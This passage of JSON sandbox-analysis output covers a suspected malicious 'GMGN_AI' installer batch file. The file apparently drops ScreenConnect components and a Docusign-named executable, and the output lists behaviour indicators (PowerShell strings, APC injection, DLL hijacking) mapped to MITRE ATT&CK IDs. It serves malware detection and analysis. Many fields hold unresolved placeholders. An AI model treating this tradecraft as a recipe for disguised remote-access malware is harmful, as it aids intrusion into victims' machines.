\"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-296","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"Failed to CreateProcess on path: %ls\" (Indicator: \"CreateProcess\"; File: \"00000000-00007008.00000002.220520.00081000.00000020.mdmp\")\n Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"levateCreateProcess\" (Indicator: \"CreateProcess\"; Source: \"00000000-00005036.00000000.215916.02940000.00000004.mdmp\")\n Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Contains ability to create named pipes for inter-process communication (IPC)","description":"CreateNamedPipeW@KERNEL32.DLL at 00000000-00007008-46143-777-00094E6A","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1559","relevance":10,"id":"stream-45","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"$4e","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryExW at 00000000-00005036-43131-69-005644B6\n LoadLibraryExW at 00000000-00005036-43131-79-00563FE6\n LoadLibraryExW@KERNEL32.DLL at 00000000-00007008-46143-54-000B815F\n LoadLibraryW@KERNEL32.DLL at 00000000-00007008-46143-186-000838D1\n LoadLibraryExW@KERNEL32.DLL at 00000000-00007008-46143-947-0008D679\n LoadLibraryExW@KERNEL32.DLL at 00000000-00007008-46143-1287-000B0DD9\n LoadLibraryExA@KERNEL32.DLL at 00000000-00007008-46143-1450-000C90B0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Contains ability to impersonate another user on the local machine (API string)","description":"Found reference to API \"LogonUser\" (Indicator: \"LogonUser\"; File: \"00000000-00007008.00000002.220520.00081000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-225","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Contains ability to run commands (Powershell command string)","description":"Found string \"Invoke-Command\" (Indicator: \"Invoke-Command\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-287","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Contains ability to run commands or expressions (Powershell command string)","description":"Found string \"Invoke-Expression\" (Indicator: \"Invoke-Expression\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-288","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"[Parameter(ParameterSetName='ShowWindow', Mandatory=$true)]\" (Indicator: \"ShowWindow\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found reference to API \"${ShowWindow})\" (Indicator: \"ShowWindow\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Contains ability to start services (Powershell command string)","description":"Found string \"Start-Service\" (Indicator: \"Start-Service\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-332","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$50","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$51","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"$52","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Executes PowerShell with command line","description":"$53","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Executes batch file","description":"Process \"cmd.exe\" with commandline \"/c \"\"C:\\\\GMGN_AI-Installer-Winx86-Setup-v1.0.0.bat\" \"\" (UID: 00000000-00004720)","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$54","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"$55","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134384600438372460.6420.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134384600519321425.7528.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\%ls\n Found string - \\\\.\\pipe\\%ls.Cache\n Found string - \\\\.\\pipe\\PSHost.134384600602524652.2772.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\BurnPipe.{C57982AE-9F6C-42F6-A344-005FF1425F55}\n Found string - \\\\.\\pipe\\BurnPipe.{C57982AE-9F6C-42F6-A344-005FF1425F55}.Cache\n Found string - \\.\\pipe\\SfxCA_3402343","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$56","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$57","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"Docusign Print Driver x64.exe\" loaded module \"%WINDIR%\\SysWOW64\\riched20.dll\" at 6E300000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-2","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\6078762b90671c2ff9ba39318e2176d8\\mscorlib.ni.dll\" at 6AA60000\n \"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\6078762b90671c2ff9ba39318e2176d8\\mscorlib.ni.dll\" at 6ABD0000\n \"rundll32.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\ef4992f14ba62dc115c01e7a6018e263\\mscorlib.ni.dll\" at 725A0000\n \"rundll32.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\6078762b90671c2ff9ba39318e2176d8\\mscorlib.ni.dll\" at 6A730000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 857F0000","origin":"Loaded Module","mitre_attack_id":"T1685","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"$58","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 6C180000\n \"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 6C230000\n \"msiexec.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 6BD90000\n \"SecondInstaller.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 73BD0000\n \"rundll32.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 6BD90000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 95E90000\n \"fltMC.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 95E90000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 95E90000\n \"msiexec.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 95E90000\n \"MsiExec.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75310000\n \"rundll32.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75310000\n \"SecondInstaller.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75310000\n \"Docusign Print Driver x64.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75310000\n \"MsiExec.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 95E90000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000060a36194fb7f0000@ntdll.dll\"\n \"220023000000000038a36194fb7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"GMGN_AI-Installer-Winx86-Setup-v1.0.0.bat\" was detected as \"plain text\" and name: \"Format\"\n \"ScreenConnect.Windows.dll\" was detected as \"plain text\" and name: \"Format\"\n \"SecondInstaller.exe\" was detected as \"plain text\" and name: \"Format\"\n \"ScreenConnect.Core.dll\" was detected as \"plain text\" and name: \"Format\"\n \"mbapreq.dll\" was detected as \"plain text\" and name: \"Format\"\n \"DocuSign.BootstrapperApplication.dll\" was detected as \"plain text\" and name: \"Format\"\n \"Microsoft.Deployment.WindowsInstaller.dll\" was detected as \"plain text\" and name: \"Format\"\n \"DocuSign.BootstrapperApplication.resources.dll\" was detected as \"plain text\" and name: \"Format\"\n \"mbahost.dll\" was detected as \"plain text\" and name: \"Format\"\n \"BootstrapperCore.dll\" was detected as \"plain text\" and name: \"Format\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$59","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$5a","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$5b","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"ocsp.sectigo.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$5c","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"Docusign Print Driver x64.exe\" searching for class \"Shell_TrayWnd\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$5d","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$5e","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Tries to open documents files","description":"\"Docusign Print Driver x64.exe\" opens a file C:\\Program Files\\Docusign\\Print Driver\\Print Driver EULA Final 171211.rtf (UID: 00000000-00007000)\n \"Docusign Print Driver x64.exe\" opens a file %PROGRAMFILES%\\Docusign\\Print Driver\\Print Driver EULA Final 171211.rtf (UID: 00000000-00007000)","origin":"API Call","mitre_attack_id":"T1005","relevance":2,"id":"api-248","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"SecondInstaller.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"mbapreq.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"DocuSign.BootstrapperApplication.resources.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"mbahost.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"$5f","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create/modify Windows services (Powershell command string)","description":"$60","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-396","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create/update instances of WMI classes (Powershell command string)","description":"Found string \"Set-WMIInstance\" (Indicator: \"Set-WmiInstance\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1546.003","relevance":1,"id":"string-336","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to lookup the windows account name","description":"GetUserNameW@ADVAPI32.DLL at 00000000-00007008-46143-1111-00086203","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1033","relevance":5,"id":"stream-28","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains reference to background jobs (Powershell command string)","description":"Found string \"Get-Job\" (Indicator: \"Get-Job\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"Receive-Job\" (Indicator: \"Receive-Job\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"Remove-Job\" (Indicator: \"Remove-Job\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"Stop-Job\" (Indicator: \"Stop-Job\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"Wait-Job\" (Indicator: \"Wait-Job\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"Resume-Job\" (Indicator: \"Resume-Job\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"Start-Job\" (Indicator: \"Start-Job\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"Debug-Job\" (Indicator: \"Debug-Job\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1197","relevance":1,"id":"string-375","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates file(s) in System32 or SysWOW64 directory","description":"\"powershell.exe\" create file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" create file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" create file \"%WINDIR%\\System32\\CatRoot\"\n \"powershell.exe\" create file \"%WINDIR%\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1036.005","relevance":5,"id":"api-324","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$61","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops XML files","description":"$62","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-39","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"\"MSIE844.tmp\" has type \"PE32+ executable for MS Windows 5.02 (DLL) x86-64 InstallShield self-extracting archive 6 sections\" - Location: [%TEMP%\\MSIE844.tmp]\n \"MSIFE10.tmp\" has type \"PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections\" - Location: [%TEMP%\\MSIFE10.tmp]\n \"MSI5691.tmp\" has type \"PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections\" - Location: [%TEMP%\\MSI5691.tmp]","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$63","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Potential hijacking of DLL execution flow detected","description":"$64","origin":"Binary File","mitre_attack_id":"T1574.001","relevance":5,"id":"binary-91","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"cmd.exe\" queries basic process information of the \"C:\\Windows\\System32\\cmd.exe\" (UID: 4720)\n \"cmd.exe\" queries basic process information of the \"C:\\Windows\\System32\\fltMC.exe\" (UID: 4720)\n \"cmd.exe\" queries basic process information of the \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 4720)\n \"cmd.exe\" queries basic process information of the \"C:\\Windows\\System32\\msiexec.exe\" (UID: 4720)\n \"cmd.exe\" queries basic process information of the \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\SC_FeedbackTool_107829898\\SecondInstaller.exe\" (UID: 4720)\n \"powershell.exe\" queries basic process information of the \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 6420)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$65","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"Docusign Print Driver x64.exe\" called \"NtQueueApcThread\" (UID: 00000000-00007000)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"cmd.exe\" reads file \"c:\\gmgn_ai-installer-winx86-setup-v1.0.0.bat\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Installation/Persistence","name":"References PATH environment registry keys","description":"Found string \"System\\CurrentControlSet\\Control\\Session Manager\\Environment\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\Environment\"; Source: 